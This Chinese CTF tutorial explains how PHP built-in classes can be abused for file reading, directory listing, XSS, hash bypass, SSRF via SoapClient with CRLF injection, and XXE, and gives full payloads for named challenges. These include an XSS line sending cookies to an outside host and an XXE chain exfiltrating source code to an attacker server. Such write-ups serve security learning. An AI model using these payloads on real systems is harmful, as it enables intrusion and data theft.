PHP原生类总结利用

再SPL介绍
       

SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册,正如上面的定义一样,有许多封装好的类。因为是要解决典型问题,免不了有一些处理文件的

这里是标准库:PHP: SPL - Manual

PHP原生类基础概念

PHP原生类就是在标准PHP库中已经封装好的类,而在其中,有些类具有一些功能,例如文件读取、目录遍历等,这就给了我们可乘之机,我们只需要实例化这些类,就可以实现文件读取这种敏感操作。

一些奇怪的题,比如没有给出反序列化的类,这个时候可能就需要用到PHP原生类了

我们可以通过如下脚本来获取调用了常见魔术方法的原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 如果题目中有其他的魔术方法,可自行添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

其输出结果如下

Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
...

常用的有以下几个

Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement
SplFileObject

PHP 原生文件操作类 

可遍历目录类

可遍历目录类分为下面三个:

DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

DirectoryIterator 类 

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

功能:遍历指定目录里的文件, 可以配合glob://协议使用匹配来寻找文件路径:

<?php
$dir=new DirectoryIterator("/");
echo $dir;

这个查不出来什么,如果想输出全部的文件名需要对$dir对象进行遍历,遍历全部文件

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>'); //与上句效果一样
}

所以说echo触发了Directorylterator 中的__toString()方法  

还可以配合glob://协议使用模式匹配来寻找我们想要的文件路径

也可以目录穿越,确定已知的文件的具体路径

<?php
$dir=new DirectoryIterator("glob://./././flag");  //目录穿越
echo $dir;

FilesystemIterator

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

该类的使用方法与DirectoryIterator 类也是基本相同的(子类与父类的关系),就不细讲了

GlobIterator 

GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。但是使用这个类不需要额外写上glob://

它的特点就是,只需要知道部分名称就可以进行遍历

 Directorylterator类 与 FilesystemIterator 类当我们使用echo函数输出的时候,会触发这两个类中的 __toString() 方法,输出指定目录里面特定排序之后的第一个文件名。也就是说如果我们不循环遍历的话是不能看到指定目录里的全部文件的。而GlobIterator 类在一定程度上解决了这个问题。由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。例如:例题里我们知道了flag的文件名特征为 以fl开头的文件,因此我们可以通过 GlobIterator类来模式匹配:

<?php
$dir=new GlobIterator("/fl*");
echo $dir;

绕过 open_basedir

参考:

​​​​​​open_basedir方法总结 · HacKerQWQ's Studio

PHP绕过open_basedir列目录的研究 | 离别歌 (leavesongs.com)

open_basedir简介

Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。

利用DirectoryIterator + Glob 直接列举目录

demo

<?php
$dir = $_GET['7'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}

利用payload

/?7=glob:///*      #列出根目录下所有文件

FilesystemIterator

与上面基本一致,不再过多讨论

GlobIterator

根据该类特点, 不用在配合glob://协议

一句话payload

$a = new GlobIterator("/*");foreach($a as $f){echo($f.'<br>');}

可读取文件类

SplFileObject 类

SplFileObject 类和 SplFileinfo为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等

原理

该类的构造方法可以构造一个新的文件对象用于后续的读取。其大致原理可简单解释一下,当类中__tostring魔术方法被触发时,如果类中内容为存在文件名,那么它会对此文件名进行内容获取。

<?php
$dir=new SplFileObject("/flag.txt");
echo $dir;
?>

这样只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历

<?php
    $dir = new SplFileObject("/flag.txt");
    foreach($dir as $tmp){
        echo ($tmp.'<br>');
    }
?>

看看大佬的一个示例:

    echo new $this->key($this->value);
 
    $this -> a = new $this->key($this->value);
    echo $this->a;

没有pop链的思路和可利用反序列化的函数,一般就是需要用原生类了。

只需要让$this->key值赋为我们想用原生函数,$this->value赋为路径,查就行了。但是这种构造类型的方法的局限性就是只能查一个路径上的第一个文件

除了可以用原生类利用进行文件操作类读文件的功能,还可以利用php原生类来进行XSS,反序列化,SSRF,XXE

涉及的漏洞的几个运用

Error/Exception内置类

Error 内置类

使用条件:

  • 适用于php7版本
  • 在开启报错的情况下

原理:

Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为Error中内置有个__toString(),当对象被当作一个字符串使用时进行默认调用。而且我们能想办法控制它的内容,在配合<script></script>标签就能实现到xss。包括但不仅限于echo ,还有file_exist()判断也会进行触发

而因为Error可以传两个参数,有个参数值的不同则对象不同也就不相等,但对由于__toString()返回的值相同md5和sha1加密后也相同,最后得到的数据也是一样的,所以可以达到hash绕过

demo:

<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>

这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化

payload:

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

这样就能成功xss

Exception 内置类
  • 适用于php5、7版本
  • 开启报错的情况下

原理&用法同Error,就不演示了

例题:
[BJDCTF 2nd]xss之光

首先通过git泄露拿到源码:

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

看到仅仅一个反序列化函数并没有给出需要反序列化的类,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化。又发现有个echo,那么就是我们刚才演示的利用Error或Exception内置类进行XSS,但是查看一下题目的环境发现是PHP 5,所以我们要使用Exception类。

可以利用Exception内置类构造<script></script>语句,一般xss的题 flag都是在cookie里,所以我们利用XSS把cookie带出来,由于此题是xss,所以只要xss执行window.open()就能把flag带出来

<?php
$poc = new Exception("<script>window.open('http://ip/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

利用 Error/Exception 内置类进行hash绕过

Error&Exception原生类不止可以xss,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较

在Error和Exception这两个PHP原生类中有 __toString 方法,这个方法用于将异常或错误对象转换为字符串

以Error为例,看看当触发他的 __toString 方法时会发生什么:

<?php
$a = new Error("payload",1);
echo $a;

结果如下:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

发现这将会以字符串的形式输出当前报错,包含当前的错误信息("payload")以及当前报错的行号("2"),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

看看下一个demo:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo $b;

输出如下:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

 $a 和 $b 这两个new出来的Error对象本身是不同的,但是 当对象被当作字符串操作时,触发__toString 方法返回的结果是相同的。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用

提示:由于报错信息包含当前的错误信息(”payload”)以及当前报错的行号(”2”) 。因此我们的$a 与 $b必须是在同一行,否则无法满足 md5($a)===md5($b).  同时,如果是 != 而不是!==强比较的话,还需要满足 new Error("null",1) 不同,另一个应该是 new Error("null",2). 
 

[2020 极客大挑战]Greatphp

源码:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

需要进入eval()执行代码需要先通过上面的if语句。md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法


if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);

可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数。

根据刚才讲的Error类和Exception类中 __toString 方法的特性,我们可以用这两个内置类进行绕过。

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。

<?php
 
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
 
        }
    }
}
#/flag 取反后urlencode 为%D0%99%93%9E%98
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/* 
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";    
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

看下大佬的提示:这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; 中加上一个 ?> ,是因为 Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

进入eval()函数会类似于:eval("...Error: <?php payload ?>")。所以要用 ?> 来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样payload便能顺利执行了。

payload:

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

SoapClient内置类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

利用SoapClient内置类进行SSRF

【精选】CRLF注入漏洞(响应截断)攻击实战_crlf漏洞_归去来兮-zangcc的博客-CSDN博客

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url

在自己服务器上nc 监听一个端口

<?php
$a = new SoapClient(null,array('location'=>'http://vpsip:port/', 'uri'=>'yun'));
$b = serialize($a);
$c = unserialize($b);
$c->not-exists();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行上述代码,服务器端就可成功触发SSRF

由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。

我们在HTTP头中插入一个cookie

<?php
$target = 'http://47.xxx.xxx.72:2333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "google\r\nCookie: PHPSESSID=advciwbvwiuwcaoxn", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行代码后,成功在HTTP头中插入一个我们自定义的cookie

还可以伪造redis命令,用http协议去打redis

对于发送POST数据包,Content-Type 的值我们要设置为 application/x-www-form-urlencoded,如何修改 Content-Type 的值呢?由于 Content-Type 在 User-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 。而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n,其他间隔\r\n。 因此脚本可以为:

<?php
$target = 'http://ip:port/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=msocaxbvwevbcwbd'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'nsoc^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'yun'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
#echo $b;
$c = unserialize($b);
$c->not_exists();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

成功发送post数据包

例题:
bestphp's revenge

php-session反序列化_php session反序列化_葫芦娃42的博客-CSDN博客

扫到一个flag的目录

当REMOTE_ADDR等于127.0.0.1时,就会在session中插入flag,就能得到flag,显然要用ssrf

我们利用PHP原生类SoapClient触发反序列化导致SSRF。由于flag会被插入到session中,所以我们需要携带一个cookie即PHPSESSID去访问它来生成这个session文件

payload:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "google\r\nCookie: PHPSESSID=ecnacaiub213aceiu24v4iuw\r\n",
    'uri' => "yun"));
$payload = urlencode(serialize($attack));
echo $payload;

//O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22yun%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22google%0D%0ACookie%3A+PHPSESSID%3Decnacaiub213aceiu24v4iuw%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22yun%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22google%0D%0ACookie%3A+PHPSESSID%3Decnacaiub213aceiu24v4iuw%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

这里这个POC就是利用CRLF伪造本地请求SSRF去访问flag.php,并将得到的flag结果保存在cookie为 PHPSESSID=ecnacaiub213aceiu24v4iuw的session中。

来再认识一个函数:call_user_func 函数

         把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调.

所以首先可以f 传入extract 从而造成变量覆盖。
这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先 f 传 extract 将b覆盖成call_user_func()。$a为数组其第一个参数reset($_SESSION)就是$_SESSION['name'],可控。  SoapClient原生类可以触发SSRF
因此 我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')), 最终call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求
 

这里没有反序列化点,那么我们怎么办呢?我们在题目源码中发现了session_start();,很明显,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST); 函数,传入GET:/?f=session_start、POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。

所以,我们第一次传值先注入上面的payload创建并得到我们的session:

传入 GET: f=session_start&name= 上面的payload   POST: serialize_handler=php_serialize

此时,我们成功将我们php原生类SoapClient构造的payload传入了 PHPSESSID=ecnacaiub213aceiu24v4iuw 的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发 __call 方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法,这里就用到了如下这段代码:

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

我们可以利用extract函数将变量b覆盖为call_user_func,这样,就成了:

call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));

call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。

这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法,而welcome_to_the_lctf2018方法不存在,就会触发 __call 方法,造成ssrf去访问flag.php。

然后传入 GET: f=extract&name=SoapClient    POST: b=call_user_func

最后,我们第三次传参,用我们payload里面自己设置的cookie(PHPSESSID=ecnacaiub213aceiu24v4iuw)去访问这个页面,var_dump($_SESSION); 会将 PHPSESSID=ecnacaiub213aceiu24v4iuw 的这个session内容输出出来,即可得到flag:

SimpleXMLElement 内置类

SimpleXMLElement 进行xxe

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素

通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE

例题

SUCTF2018-Homework

注册账号登陆作业平台,有一个calc计算器。两个按钮一个用于调用calc类实现两位数的四则运算,另一个用于另一个用于上传文件、提交代码

计算器类的代码为:

<?php 
class calc{
	function __construct__(){
		calc();
	}

	function calc($args1,$method,$args2){
		$args1=intval($args1);
		$args2=intval($args2);
		switch ($method) {
			case 'a':
				$method="+";
				break;

			case 'b':
				$method="-";
				break;

			case 'c':
				$method="*";
				break;

			case 'd':
				$method="/";
				break;
			
			default:
				die("invalid input");
		}
		$Expression=$args1.$method.$args2;
		eval("\$r=$Expression;");
		die("Calculation results:".$r);
	}
}
?>		

点击CALC看一下,根据url参数栏以及再根据calc类里面的内容,发现这里module为调用的类,args为类的构造方法的参数

所以可以通过这种形式调用PHP中的内置类,通过调用 SimpleXMLElement 这个内置类来构造 XXE

首先,我们在vps上构造如下evil.xml、send.xml和send.php这三个文件

evil.xml:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://vps/send.xml">
%remote;
%all;
%send;
]>

send.xml:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://vps/send.php?file=%file;'>">

send.php:

<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

在url中构造如下:

/show.php?module=SimpleXMLElement&args[]=http://vps/evil.xml&args[]=2&args[]=true

这样目标主机就能先加载我们vps上的evil.xml,再加载send.xml。

就可以将网站的源码以base64编码的形式读取并带出到result.txt中,这里vps出了点问题就暂时不能实现了,反正就是这样做

使用 ReflectionMethod 类获取类方法的相关信息

例题:[2021 CISCN]easy_source

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];    // 传入原生类名
$rb=$_GET["rb"];    // 传入类属性
$ra=$_GET["ra"];    // 传入类属性
$rd=$_GET["rd"];    // 传入类方法
$method= new $rc($ra, $rb);    // 实例化刚才传入的原生类
var_dump($method->$rd());     // 调用类中的方法

可以利用 PHP 内置类中的 ReflectionMethod 类中的 getDocComment() 方法来读取 User 类里面各个函数的注释。

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment


 

遍历目录+文件读取

例题:CTFSHOW 愚人杯[被遗忘的反序列化]

代码如下:

<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

看出口,发现eval函数

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }

满足$get === "p8vfuv8g8v8py"才可实现命令执行,这里get参数被加密了,所以用PHP原生类,而且它提示了当前目录存在txt文件,而Globlterator类只需要知道文件名的一部分,就可以获取整个文件名,因此我们可以通过它来寻找txt文件。如何触发Globlterator类呢,当然是找有a(b)此类的,且a,b均可控,同时对函数进行输出,此时看到gBoBg类中的__tostring方法

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

所以我们可以给coos赋值为Globlterator,给file赋值为*txt即可输出含有txt的文件名。

__tostring魔术方法是当函数被当做字符串时触发的,因此我们找一个

这里w_wuw_w类中的key参数,$this->key这个就可以作为__tostring的函数触发点。

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

payload:

<?php
class gBoBg{
    public $name='1';
    public $file='*txt';
    public $coos='GlobIterator';
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}
$g = new w_wuw_w();
$g->key = new gBoBg();
$g->file = '123'; 
echo serialize($g);

赋值给$_SERVER["HTTP_AAAAAA"];这个是在请求头字段进行赋值,可以直接添加 AAAAAA= 'xxx'实现赋值 

发现h1nt.txt,用SplFileObject类进行读取即可

<?php
class gBoBg{
    public $name='1';
    public $file='h1nt.txt';
    public $coos='SplFileObject';
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}
$g = new w_wuw_w();
$g->key = new gBoBg();
$g->file = '123'; 
echo serialize($g);

但是发现没有什么用,我们直接找flag文件试试

<?php
class gBoBg{
    public $name='1';
    public $file='/f*';
    public $coos='GlobIterator';
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}
$g = new w_wuw_w();
$g->key = new gBoBg();
$g->file = '123'; 
echo serialize($g);

发现flag文件了,直接读取 吧

<?php
class gBoBg{
    public $name='1';
    public $file='/f1agaaa';
    public $coos='SplFileObject';
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}
$g = new w_wuw_w();
$g->key = new gBoBg();
$g->file = '123'; 
echo serialize($g);

参考博客:

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)-CSDN博客

PHP常见内置类浅析 - FreeBuf网络安全行业门户

PHP原生类的利用 - 掘金 (juejin.cn)

PHP 原生类的利用小结 - 先知社区 (aliyun.com)

[php安全]原生类的利用 - Aur0ra* - 博客园 (cnblogs.com)

从一道CTF练习题浅谈php原生文件操作类-安全客 - 安全资讯平台 (anquanke.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/137450.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

kr 第三阶段(九)64 位逆向

X64 汇编程序 64 位与 32 位的区别 更大的内存 64 位 CPU 与 32 位 CPU 的区别 引脚根数&#xff1a; x86 程序&#xff1a;20 根x64 程序&#xff1a;52 根&#xff0c;实际寻址的有 48 根&#xff0c;所以最大内存是 0~256T 寻址区间&#xff1a; x86 程序&#xff1a;0x0…

python实现一个简单的桌面倒计时小程序

本章内容主要是利用python制作一个简单的桌面倒计时程序&#xff0c;包含开始、重置 、设置功能。 目录 一、效果演示 二、程序代码 一、效果演示 二、程序代码 #!/usr/bin/python # -*- coding: UTF-8 -*- """ author: Roc-xb """import tkin…

汽车ECU的虚拟化技术初探(二)

目录 1.概述 2.U2A虚拟化方案概述 3.U2A的虚拟化功能概述 4.虚拟化辅助功能的使能 5.留坑 1.概述 在汽车ECU的虚拟化技术初探(一)-CSDN博客里&#xff0c;我们聊到虚拟化技术比较关键的就是vECU的虚拟地址翻译问题&#xff0c;例如Cortex-A77就使用MMU来进行虚实地址的转换…

阿里云国际站:专有宿主机

文章目录 一、专有宿主机的概念 二、专有宿主机的优势 三、专有宿主机的应用场景 一、专有宿主机的概念 专有宿主机&#xff08;Dedicated Host&#xff0c;简称DDH&#xff09;是阿里云专为企业用户定制优化的解决方案。具有物理资源独享、部署更灵活、配置更丰富、性价比…

遇到问题,我该如何提问?

